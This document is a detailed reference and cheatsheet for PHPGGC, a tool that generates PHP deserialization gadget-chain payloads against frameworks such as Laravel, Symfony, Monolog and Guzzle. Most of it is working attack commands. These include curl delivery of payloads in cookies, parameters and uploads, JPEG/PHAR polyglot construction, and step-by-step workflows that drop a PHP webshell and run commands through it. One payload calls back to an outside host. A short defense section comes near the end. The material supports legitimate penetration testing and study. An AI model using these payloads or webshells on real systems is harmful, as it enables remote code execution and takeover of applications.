Maintainers: ambionics (formerly gwendal-lv)
Repo: https://github.com/ambionics/phpggc
Description: Library of PHPunserialize()payloads and a tool to generate them — the PHP equivalent of Frohoff's Java ysoserial
Requirements: PHP >= 5.6 to run the tool itself (target PHP version depends on the specific gadget chain)
Install (Kali):sudo apt install phpggc
Overview
PHPGGC is a library of "gadget chains" for PHP's native unserialize() mechanism, packaged with a CLI generator — functionally the PHP sibling of ysoserial (Java) and ysoserial.net (.NET). Where those tools target readObject()/IFormatter deserialization, PHPGGC targets PHP's magic methods — __wakeup(), __destruct(), and __toString() — which fire automatically when a crafted serialized string is passed to unserialize(). If a class implementing one of these methods is autoloadable on the target (via Composer's autoloader, typically because a specific framework or library is installed), PHPGGC can chain method calls through that class's properties to reach a dangerous sink like system(), exec(), proc_open(), or arbitrary file write.
Key capabilities:
- Generate ready-to-use serialized payloads for 15+ frameworks/libraries: Laravel, Symfony, Monolog, Guzzle, CodeIgniter4, Doctrine, Drupal7, Magento, Phalcon, Podio, Slim, SwiftMailer, Wordpress, Yii, ZendFramework/Laminas
- Multiple payload types per framework:
rce(remote code execution),file_write,file_read,file_delete,sql_injection,phpinfo() - Build PHAR archives (
tar/zip/pharformat) that trigger deserialization via thephar://stream wrapper on any function that touches the filesystem - Generate JPEG/PHAR polyglot files for image-upload-based PHAR deserialization attacks
- Encode output through chainable transforms (URL-encode, base64, JSON, soft-URL-encode) to match the target's expected input format
- Test payload viability directly against a live/local install of the target framework before deploying against a real target
What PHPGGC is NOT: it doesn't discover unserialize() sinks for you, and it can't tell you which framework/library version is running on a target — you (or recon tooling like Composer lockfile leaks, error messages, or version-fingerprinting) still need to identify that first.
How PHP Deserialization Attacks Work
┌────────────────────────────────────────┐
│ Vulnerable PHP Application │
│ unserialize($_COOKIE / $_GET / file) │
└───────────────────┬────────────────────┘
│
Deserializes attacker-controlled string
│
┌───────────────────────────┼───────────────────────────┐
│ │ │
__wakeup() __destruct() __toString()
called immediately called when object called when object
after unserialize() goes out of scope / used in string
│ script ends context (echo,
│ │ concatenation)
└───────────────────────────┼───────────────────────────┘
│
Property values chain through gadget classes:
Class A property -> Class B method call -> Class C property -> ...
│
Chain terminates in a "sink":
system() / exec() / proc_open() / call_user_func() / file_put_contents()
│
Command Execution / File Write
Why this works: PHP's unserialize() reconstructs an object graph from a string and immediately invokes any magic methods (__wakeup, __destruct) present on the resulting objects — with no validation of which classes are "safe" to instantiate by default. If any autoloadable class on the target has one of these methods chaining into a call that an attacker can steer (often via call_user_func with attacker-controlled function name and arguments), deserializing the payload alone triggers code execution, independent of whatever the application intended to do with the deserialized data.
The three trigger vectors, in order of how PHPGGC labels them (the Vector column in phpggc -l):
| Vector | Trigger Point | Notes |
|---|---|---|
__destruct |
Object destroyed (script end, or immediately with -f fast-destruct) |
Most common vector across PHPGGC's gadget chains |
__wakeup |
Immediately after unserialize() returns |
Fires earliest — useful when script may error out before reaching end |
__toString |
Object coerced to a string somewhere in app logic | Requires the app to actually use the object in string context — less universally reliable |
The I column in phpggc -l output flags "Informations" — chains marked with * have extra usage notes visible via phpggc -i <chain>.
Install & Setup
Kali / Debian-based
sudo apt install phpggc
phpggc -h
From Source
git clone https://github.com/ambionics/phpggc.git
cd phpggc
./phpggc -l
No build step required — it's a PHP CLI script. Ensure your local PHP CLI version is >= 5.6; the tool itself runs fine on modern PHP even when generating payloads for old gadget chain targets, since generation just builds a serialized string rather than executing target-version code.
Directory Structure
phpggc/
├── phpggc # main CLI entry point
├── lib/PHPGGC.php # core library, used for programmatic access
├── gadgetchains/ # one folder per framework, contains chain classes
│ ├── Laravel/RCE/...
│ ├── Symfony/RCE/...
│ ├── Monolog/RCE/...
│ └── ...
└── test-gc-compatibility.py # version-matrix compatibility tester
Basic Usage
# General syntax
./phpggc <gadget-chain> [parameters] [options]
# List all available gadget chains
./phpggc -l
# Filter list by framework name
./phpggc -l laravel
# Get detailed info on a specific chain
./phpggc -i symfony/rce1
# Generate a basic RCE payload (function-call style chains)
./phpggc monolog/rce1 assert 'phpinfo()'
# Generate an RCE payload (system-call style chains)
./phpggc Monolog/RCE2 system 'id'
# Soft URL-encode inline (useful for direct paste into a URL param)
./phpggc monolog/rce1 'phpinfo();' -s
Reading a generated payload: output is a raw PHP serialized string, e.g. O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":...} — the O: prefix denotes a serialized object, followed by class name length/name, property count, then each property's serialized representation.
Full Flag Reference
Information
| Flag | Description |
|---|---|
-h, --help |
Displays help |
-l, --list [filter] |
Lists available gadget chains, optionally filtered by name substring |
-i, --information |
Displays detailed information about a specific gadget chain (version range, type, vector, notes) |
Output
| Flag | Description |
|---|---|
-o, --output <file> |
Writes the payload to a file instead of stdout |
PHAR Generation
| Flag | Description |
|---|---|
-p, --phar <tar\|zip\|phar> |
Creates a PHAR archive of the given format containing the payload as metadata |
-pj, --phar-jpeg <file> |
Creates a polyglot JPEG/PHAR file from a given source image |
-pp, --phar-prefix <file> |
Sets the PHAR stub prefix to the contents of a given file — controls the beginning bytes of the generated file (used alongside -p phar for polyglot/magic-byte control) |
-pf, --phar-filename <filename> |
Sets the name of the file stored inside the generated PHAR (default: test.txt) |
Enhancements
| Flag | Description |
|---|---|
-f, --fast-destruct |
Destroys the object immediately after unserialize() returns, rather than waiting for script end — useful when the target script errors out or exits before natural destruction would occur |
-a, --ascii-strings |
Forces ASCII-safe string serialization |
-n, --plus-notation <chars> |
Adds a + in front of int/object size markers for specific characters (e.g., -n iO turns O:3:"Abc":1:{s:1:"x";i:3;} into O:+3:"Abc":1:{s:1:"x";i:+3;} — PHP 7.2+ only supports + on i and d/float types) |
-w, --wrapper <file> |
Specifies a PHP file with process_parameters(), process_object(), and/or process_serialized() hook functions for custom payload transformation |
Encoding
| Flag | Description |
|---|---|
-s, --soft |
Soft URL-encode (encodes only characters that need it) |
-u, --url |
Full URL-encode of the payload |
-b, --base64 |
Base64-encodes the output |
-j, --json |
Converts the output into a JSON string |
Encoders chain in the order specified — e.g., -b -u -u base64-encodes the payload, then URL-encodes it twice. Order matters and mirrors how you'd need to decode on delivery.
Creation & Testing
| Flag | Description |
|---|---|
-N, --new <framework> <type> |
Scaffolds directory/file structure for a new gadget chain (e.g., ./phpggc -N Drupal RCE) |
--test-payload |
Runs the generated payload's deserialization locally against the currently-installed framework version — confirms whether the chain would trigger, without sending anything to a real target. Warning: this executes the payload on your own system. Only __destruct, __wakeup, __toString, and PHAR payloads can be tested this way |
Gadget Chains Reference
Run ./phpggc -l for the authoritative, up-to-date list — the table below captures the shape of what's available as a working reference, but exact version ranges shift as new chains are added.
Laravel
# Laravel RCE via function call, __destruct vector
./phpggc laravel/rce1 system 'id'
./phpggc laravel/rce2 system 'id'
# Newer chains targeting later Laravel versions (check -l for current top RCE number)
./phpggc laravel/rce10 system 'id'
| Chain | Version Range | Type | Vector |
|---|---|---|---|
Laravel/RCE1 |
5.4.27 | RCE (Function call) | __destruct |
Laravel/RCE2 |
5.4.0 <= 8.6.9+ | RCE (Function call) | __destruct |
Laravel/RCE3 |
5.5.39 | RCE (Function call) | __destruct * |
Laravel/RCE4 |
5.5.39 | RCE (Function call) | __destruct |
Laravel/RCE5 |
5.8.30 | RCE (PHP code) | __destruct * |
Laravel/RCE6 |
5.5.x | RCE (Function call) | __destruct * |
Laravel/RCE10 |
5.6.0 <= 9.1.8+ | RCE (Function call) | __toString |
Laravel has one of the broadest version-coverage sets in PHPGGC due to its popularity as a real-world target — always check -l laravel for the current full list, since new chains are added as Laravel's internals shift.
Symfony
./phpggc symfony/rce1 <command>
| Chain | Version Range | Type | Vector |
|---|---|---|---|
Symfony/FW1 |
2.5.2 | File write | DebugImport * |
Symfony/FW2 |
3.4 | File write | __destruct |
Symfony/RCE1 |
3.3 | RCE (Function call) | __destruct |
./phpggc -i symfony/rce1
# Name : Symfony/RCE1
# Version : 3.3
# Type : rce
# Vector : __destruct
# Informations: Exec through proc_open()
Monolog
Frequently the "does this box have any exploitable PHP unserialize dependency" test chain, since Monolog is an extremely common transitive dependency (pulled in by Symfony, Laravel, and many others) even when the app itself doesn't use it directly for logging you control.
./phpggc monolog/rce1 assert 'phpinfo()'
./phpggc Monolog/RCE2 system 'id'
| Chain | Version Range | Type | Vector |
|---|---|---|---|
Monolog/RCE1 |
1.18 <= 2.0.2 | RCE (Function call) | __destruct |
Monolog/RCE2 |
1.5 <= 1.17 | RCE (Function call) | __destruct |
Monolog/RCE3 |
< 1.11.0 | RCE (Function call) | __destruct |
# Verify against a live Symfony install with a specific Monolog dependency
composer create-project symfony/website-skeleton=4.x some_symfony
cd some_symfony
phpggc monolog/rce2 --test-payload
# Trying to deserialize payload...
# SUCCESS: Payload triggered !
Guzzle
./phpggc guzzle/rce1 system 'id'
./phpggc guzzle/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
./phpggc guzzle/info1
| Chain | Version Range | Type | Vector |
|---|---|---|---|
Guzzle/FW1 |
6.0.0 <= 6.3.3+ | File write | __destruct |
Guzzle/INFO1 |
6.0.0 <= 6.3.2 | phpinfo() |
__destruct * |
Guzzle/RCE1 |
6.0.0 <= 6.3.2 | RCE (Function call) | __destruct * |
CodeIgniter4
./phpggc codeigniter4/rce1 system 'id'
| Chain | Version Range | Type | Vector |
|---|---|---|---|
CodeIgniter4/FR1 |
4.0.0 <= 4.3.6 | File read | __toString * |
CodeIgniter4/RCE1 |
4.0.2 <= 4.0.3 | RCE (Function call) | __destruct |
CodeIgniter4/RCE2 |
4.0.0-rc.4 <= 4.3.6 | RCE (Function call) | __destruct |
CodeIgniter4/RCE3 |
4.0.4 <= 4.3.6 | RCE (Function call) | __destruct |
CodeIgniter4/RCE4 |
4.0.0-beta.1 <= 4.0.0-rc.4 | RCE (Function call) | __destruct |
CodeIgniter4/RCE5 |
4.1.3+ | RCE (Function call) | __destruct |
CodeIgniter4/RCE6 |
4.1.3 <= 4.2.10+ | RCE (Function call) | __destruct |
Doctrine
./phpggc doctrine/rce1 'system("id");'
./phpggc doctrine/fw1 /var/www/shell.php '<?php system($_GET["c"]); ?>'
| Chain | Version Range | Type | Vector |
|---|---|---|---|
Doctrine/FW1 |
? | File write | __toString * |
Doctrine/FW2 |
2.3.0<=2.4.0, 2.5.0<=2.8.5 | File write | __destruct * |
Doctrine/RCE1 |
1.5.1 <= 2.7.2 | RCE (PHP code) | __destruct * |
Doctrine/RCE2 |
1.11.0 <= 2.3.2 | RCE (Function call) | __destruct * |
SwiftMailer
# File write chains — write a webshell to a target path
./phpggc swiftmailer/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
| Chain | Version Range | Type | Vector |
|---|---|---|---|
SwiftMailer/FD1 |
-5.4.12+, -6.2.1+ | File delete | __destruct |
SwiftMailer/FW1 |
5.1.0 <= 5.4.8 | File write | __toString |
SwiftMailer/FW2 |
6.0.0 <= 6.0.1 | File write | __toString |
SwiftMailer/FW3 |
5.0.1 | File write | __toString |
SwiftMailer/FW4 |
4.0.0 <= ? | File write | __destruct |
SwiftMailer's chains are file-write primitives, not direct RCE — pair with a writable web-accessible path to drop a PHP webshell for the actual code-exec step.
Other Frameworks
./phpggc drupal7/rce1 system 'id' # Drupal7/RCE1: 7.0.8 < ? — RCE, __destruct
./phpggc magento/fw1 <path> <content> # Magento/FW1: File write, __destruct
./phpggc magento/sqli1 # Magento/SQLI1: SQL injection, __destruct
./phpggc phalcon/rce1 system 'id' # Phalcon/RCE1: <= 1.2.2 — RCE, __wakeup
./phpggc slim/rce1 # Slim/RCE1: 3.8.1 — RCE, __toString
./phpggc wordpress/rce1 system 'id' # WordPress-targeted chain
./phpggc yii/rce1 system 'id' # Yii-targeted chain
./phpggc zendframework/rce1 system 'id' # ZendFramework/Laminas-targeted chain
./phpggc laminas/fd1 # Laminas/FD1: <= 2.11.2 — File delete, __destruct
./phpggc horde/rce1 '<?php system($_GET["c"]); ?>' # Horde/RCE1: <= 5.2.22 — RCE (PHP code), __destruct *
Phalcon/RCE1 is notable for using __wakeup as its vector rather than the more common __destruct — relevant if the target's PHP unserialize() call site errors out or exits before natural object destruction would occur, since __wakeup fires immediately.
PHAR Deserialization (phar:// Wrapper)
PHP's phar:// stream wrapper deserializes a PHAR archive's metadata whenever any filesystem function (not just direct unserialize() calls) touches a .phar file through that wrapper — file_exists(), file_get_contents(), getimagesize(), md5_file(), fopen(), and many others all trigger it. This makes PHAR deserialization exploitable even in codebases that never call unserialize() directly on user input, as long as some file-path operation touches attacker-controllable file paths.
# Generate a PHAR containing a gadget chain payload as its metadata
./phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/exploit.phar
# The resulting PHAR must be uploaded/placed somewhere the target app will later
# perform a filesystem operation against it through the phar:// wrapper, e.g.:
# file_exists("phar://" . $uploaded_file_path)
# getimagesize("phar://" . $uploaded_file_path)
PHAR structure recap (for understanding what PHPGGC is building):
[Stub] — PHP code executed when accessed in an executable context;
must contain __HALT_COMPILER(); at minimum
[Manifest] — archive metadata, INCLUDES THE SERIALIZED OBJECT (this is what
triggers deserialization when the wrapper reads it)
[File Contents] — the actual archived file(s)
[Signature] — optional integrity check
Manual construction reference (what -p phar automates):
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'placeholder content');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// The metadata is what gets deserialized — this is the gadget chain object
$phar->setMetadata($gadget_object);
$phar->stopBuffering();
JPEG/PHAR Polyglot Payloads
For upload forms that validate file type by extension or magic bytes (image uploads being the classic case), a JPEG/PHAR polyglot lets the file pass image validation while still functioning as a valid PHAR when later accessed via phar://.
# Generate a polyglot from a real JPEG, embedding the gadget chain
./phpggc Monolog/RCE2 system 'id' -pj original_image.jpg -o exploit.jpg
# Combine with a custom PHAR prefix if the app expects specific header bytes beyond JPEG magic
./phpggc Monolog/RCE2 system 'id' -p phar -pp jpeg_header.bin -o exploit.jpg
Delivery pattern: upload exploit.jpg through the app's normal image upload flow (it validates as a real JPEG), then find a code path where the app later touches that stored file through a filesystem function using the phar:// wrapper prefix — often via a separate feature like avatar processing, thumbnail generation, or file-existence checks on user-controlled paths.
Testing Compatibility Against a Target Environment
# Direct local test — run from inside a project with the target dependency installed
composer create-project symfony/website-skeleton=4.x some_symfony
cd some_symfony
phpggc monolog/rce2 --test-payload
# Trying to deserialize payload...
# SUCCESS: Payload triggered !
# (exit code 0 = success, 1 = failure)
# Automated version-matrix testing across many versions of a dependency
./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
# Test specific pinned versions only
./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Sample matrix output:
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Workflow value: if you can fingerprint the target's exact dependency version (via a leaked composer.lock, error stack trace revealing a vendor path, or a version-disclosure endpoint), run this matrix locally before ever touching the real target — avoids noisy trial-and-error against a live engagement.
Wrapper Scripts (Custom Parameter Processing)
The -w/--wrapper flag lets you inject custom logic into the generation pipeline without modifying PHPGGC's core code — useful for CTF-style challenges with nonstandard serialization quirks, or engagement-specific payload post-processing.
<?php
// wrapper.php
function process_parameters($parameters) {
// Called right before generate() — modify/inject parameters here
return $parameters;
}
function process_object($object) {
// Called right before the payload is serialized — mutate the object graph
return $object;
}
function process_serialized($serialized) {
// Called right after serialization — do string-level post-processing
// e.g., strip/replace specific byte sequences the target's WAF blocks
return $serialized;
}
./phpggc monolog/rce1 system 'id' -w wrapper.php
Identifying PHP Deserialization Endpoints
Byte/string-level indicators:
Serialized object marker: O:<len>:"ClassName":<propcount>:{...}
Serialized array marker: a:<count>:{...}
PHAR magic (after stub): GBMB (Phar file format signature, near end of file)
Common real-world sinks:
- Cookies storing serialized session/auth data directly (
unserialize($_COOKIE['...'])) - Cache layers using PHP native serialization instead of JSON
- Custom "remember me" tokens, CSRF tokens, or state-passing parameters using
serialize()/unserialize() - File upload processing paths that later touch the uploaded file via a filesystem function (PHAR vector)
- API endpoints accepting serialized PHP data directly in a request body (rare but occurs in legacy internal APIs)
unserialize()calls with no second-argumentallowed_classesrestriction — PHP 7+ supportsunserialize($data, ['allowed_classes' => false])to disable object instantiation entirely; its absence is what makes a sink exploitable
# grep a captured request/response/config for serialized object markers
grep -oE 'O:[0-9]+:"[^"]+"' capture.txt
Payload Delivery Vectors
# Raw payload as a cookie value
curl http://target/ -H "Cookie: session=$(./phpggc monolog/rce1 system 'id' -u)"
# URL-encoded payload as a GET/POST parameter
curl "http://target/?data=$(./phpggc monolog/rce1 system 'id' -u)"
# Base64-encoded payload for JSON body delivery
PAYLOAD=$(./phpggc monolog/rce1 system 'id' -b)
curl -X POST http://target/api -H "Content-Type: application/json" -d "{\"data\":\"$PAYLOAD\"}"
# PHAR file upload, later triggered via phar:// path reference elsewhere in the app
./phpggc Monolog/RCE2 system 'id' -p phar -o exploit.phar
curl -X POST http://target/upload -F "file=@exploit.phar"
# Trigger: some other feature (avatar processing, thumbnail gen, existence check)
# reads the uploaded file path through phar://
# JPEG/PHAR polyglot for image-upload-gated deserialization
./phpggc Monolog/RCE2 system 'id' -pj real_photo.jpg -o exploit.jpg
curl -X POST http://target/avatar/upload -F "avatar=@exploit.jpg"
Programmatic Usage (PHP API)
For CTFs, exploit scripting, or automated tooling, PHPGGC can be included directly rather than shelled out to:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Instantiate the target gadget chain
$gc = new \GadgetChain\Guzzle\RCE1();
# Process parameters (recommended even for straightforward chains)
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload object graph
$object = $gc->generate($parameters);
# Most chains don't need process_object/process_serialized — safe to skip for
# quick scripting, but available for the same reasons as -w wrapper hooks
$serialized = serialize($object);
# Send $serialized directly via your own HTTP client / exploit script
echo $serialized;
Useful when integrating gadget generation into a larger Python/PHP exploit chain (e.g., a CTF solve script that needs to generate a fresh payload per request due to CSRF tokens or session-bound state).
Troubleshooting & Version Matching
| Symptom | Likely Cause | Fix |
|---|---|---|
| Payload deserializes but nothing happens | Chain's vector (__destruct) never fires because the script exits abnormally (fatal error, die()) before natural destruction |
Add -f/--fast-destruct to trigger destruction immediately after unserialize() |
--test-payload succeeds locally but fails against the real target |
Target's exact dependency version differs from your local install | Pin exact version with Composer and re-test, or run test-gc-compatibility.py across the plausible version range |
| Payload rejected — application errors on unexpected bytes | WAF/input filter stripping non-printable or special characters | Try -a/--ascii-strings, or adjust via a custom -w wrapper's process_serialized() hook |
| PHAR payload never triggers | No code path touches the uploaded file through a phar://-wrapped filesystem function |
Look for secondary features (thumbnailing, existence checks, hash calculation) that reference the uploaded path — direct unserialize() won't trigger PHAR metadata deserialization |
| Correct chain for framework, still fails | Chain's magic-method vector (__wakeup) is bypassed because the class also implements __wakeup differently in a patched version, or a __unserialize()/__serialize() pair (PHP 7.4+) has superseded the old magic methods entirely for that class |
Check the target's actual installed source if accessible; some frameworks migrated away from __wakeup/__sleep toward __serialize/__unserialize, breaking older PHPGGC chains built against the old model |
-l shows no matching chains for a framework version |
No published chain covers that specific version | Check -i <chain> on nearby versions for actual tested boundaries — version ranges in -l are often conservative; also check community forks for newer additions |
Detection & Defense
(For blue-team / remediation context when reporting findings.)
- Never call
unserialize()on user-controlled input. Usejson_decode()for data interchange instead — it cannot instantiate arbitrary objects - If
unserialize()on untrusted data is unavoidable, always pass theallowed_classesoption:unserialize($data, ['allowed_classes' => false])(or an explicit allow-list array) — this alone neutralizes essentially every PHPGGC gadget chain, since none of them can instantiate objects - Audit filesystem functions against user-controlled paths for PHAR-wrapper exposure — any
file_exists(),getimagesize(),md5_file(),fopen(), etc. call on a path an attacker partially controls is a potential PHAR deserialization sink even without a directunserialize()call - Validate uploaded file content, not just extension/magic bytes — JPEG/PHAR polyglots pass naive image-header checks; consider re-encoding uploaded images (strips PHAR metadata) rather than storing the original bytes
- Keep dependencies current — most PHPGGC chains target specific version ranges of Monolog, Guzzle, Symfony, Laravel, etc. that have since patched the underlying gadget (often by adding type checks or removing the dangerous magic method behavior)
- WAF/RASP signatures on serialized-object markers (
O:followed by known dangerous class names) in parameters/cookies that shouldn't contain PHP serialized data at all
Common Attack Workflows
Workflow: Cookie-Based Deserialization RCE
# Step 1: Identify a cookie/param that looks like PHP serialized data
# e.g., session cookie value starting with O: or a:
# Step 2: Fingerprint the framework/library (error pages, headers, JS assets, composer.lock leak)
# Step 3: List candidate chains for the fingerprinted framework
./phpggc -l laravel
# Step 4: Generate and test locally if you can spin up a matching version
composer create-project laravel/laravel:^8.0 test_laravel
cd test_laravel && phpggc laravel/rce2 --test-payload
# Step 5: Generate the real payload, encoded for cookie delivery
./phpggc laravel/rce2 system 'curl http://10.10.14.5:8000/hit' -u > payload.txt
# Step 6: Deliver
curl http://target/ -H "Cookie: laravel_session=$(cat payload.txt)"
Workflow: PHAR-Based RCE via Image Upload
# Step 1: Confirm the app has an image upload feature AND a secondary feature that
# performs filesystem operations on the uploaded path (thumbnailing, EXIF reading,
# existence checks before "already uploaded" messages, etc.)
# Step 2: Generate a JPEG/PHAR polyglot with the RCE gadget chain embedded
./phpggc Monolog/RCE2 system 'id' -pj clean_photo.jpg -o malicious.jpg
# Step 3: Upload through the normal image upload flow
curl -X POST http://target/profile/avatar -F "avatar=@malicious.jpg" \
-H "Cookie: session=<valid_session>"
# Step 4: Trigger the phar:// deserialization via whatever secondary feature
# touches the file path (varies per app — often automatic on next page load,
# or requires visiting a specific "regenerate thumbnail" endpoint)
# Step 5: Confirm execution (OOB callback, output file, etc.)
Workflow: File-Write Chain -> Webshell -> RCE
# Step 1: Identify a file_write-type chain matching the target's dependency
# (e.g., SwiftMailer, Guzzle, Doctrine, Magento all have FW-type chains)
# Step 2: Generate a payload that writes a PHP webshell to a web-accessible path
./phpggc guzzle/fw1 /var/www/html/uploads/shell.php \
'<?php system($_GET["c"]); ?>' -u > payload.txt
# Step 3: Deliver via the identified unserialize() sink
curl "http://target/vulnerable_endpoint?data=$(cat payload.txt)"
# Step 4: Use the dropped webshell for full RCE
curl "http://target/uploads/shell.php?c=id"
Cheatsheet
Quick reference for the most common PHPGGC operations. Replace placeholders as needed.
Install
sudo apt install phpggc # Kali/Debian
# or
git clone https://github.com/ambionics/phpggc.git && cd phpggc
Discovery
./phpggc -l # list all chains
./phpggc -l laravel # filter by framework
./phpggc -i symfony/rce1 # detailed info on a specific chain
Basic RCE Generation
./phpggc monolog/rce1 assert 'phpinfo()'
./phpggc Monolog/RCE2 system 'id'
./phpggc laravel/rce2 system 'id'
./phpggc symfony/rce1 'id'
./phpggc guzzle/rce1 system 'id'
Encoding for Delivery
./phpggc monolog/rce1 system 'id' -s # soft URL-encode
./phpggc monolog/rce1 system 'id' -u # full URL-encode
./phpggc monolog/rce1 system 'id' -b # base64
./phpggc monolog/rce1 system 'id' -j # JSON string
./phpggc monolog/rce1 system 'id' -b -u # chain: base64 then URL-encode
PHAR Generation
./phpggc Monolog/RCE2 system 'id' -p phar -o exploit.phar # phar format
./phpggc Monolog/RCE2 system 'id' -p phar -pf shell.txt -o e.phar # custom internal filename
./phpggc Monolog/RCE2 system 'id' -pj photo.jpg -o exploit.jpg # JPEG/PHAR polyglot
Reliability Enhancements
./phpggc monolog/rce1 system 'id' -f # fast-destruct
./phpggc monolog/rce1 system 'id' -a # ascii-strings
./phpggc monolog/rce1 system 'id' -w wrapper.php # custom wrapper hooks
Testing Before Delivery
composer create-project <vendor>/<package>:<version> test_env
cd test_env
phpggc <chain> --test-payload
./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Output to File
./phpggc monolog/rce1 system 'id' -o payload.txt
File-Write Chains (Webshell Drop)
./phpggc swiftmailer/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
./phpggc guzzle/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
Programmatic (PHP Script)
<?php
include("phpggc/lib/PHPGGC.php");
$gc = new \GadgetChain\Guzzle\RCE1();
$parameters = $gc->process_parameters(['function' => 'system', 'parameter' => 'id']);
$object = $gc->generate($parameters);
echo serialize($object);
Serialized Object Marker (Manual Recon)
O:<class_name_length>:"<ClassName>":<property_count>:{...}
References
- GitHub: https://github.com/ambionics/phpggc
- Kali Tools page: https://www.kali.org/tools/phpggc/
- Original Java ysoserial (conceptual inspiration): https://github.com/frohoff/ysoserial
- PayloadsAllTheThings — PHP Deserialization: https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/PHP/
- "PHP Generic Gadget Chains" write-up (0x1): https://0x1.gitlab.io/web-security/PHP-Generic-Gadget-Chains/
- PHP manual —
unserialize()andallowed_classes: https://www.php.net/manual/en/function.unserialize.php - PHP manual — Phar stream wrapper: https://www.php.net/manual/en/phar.using.intro.php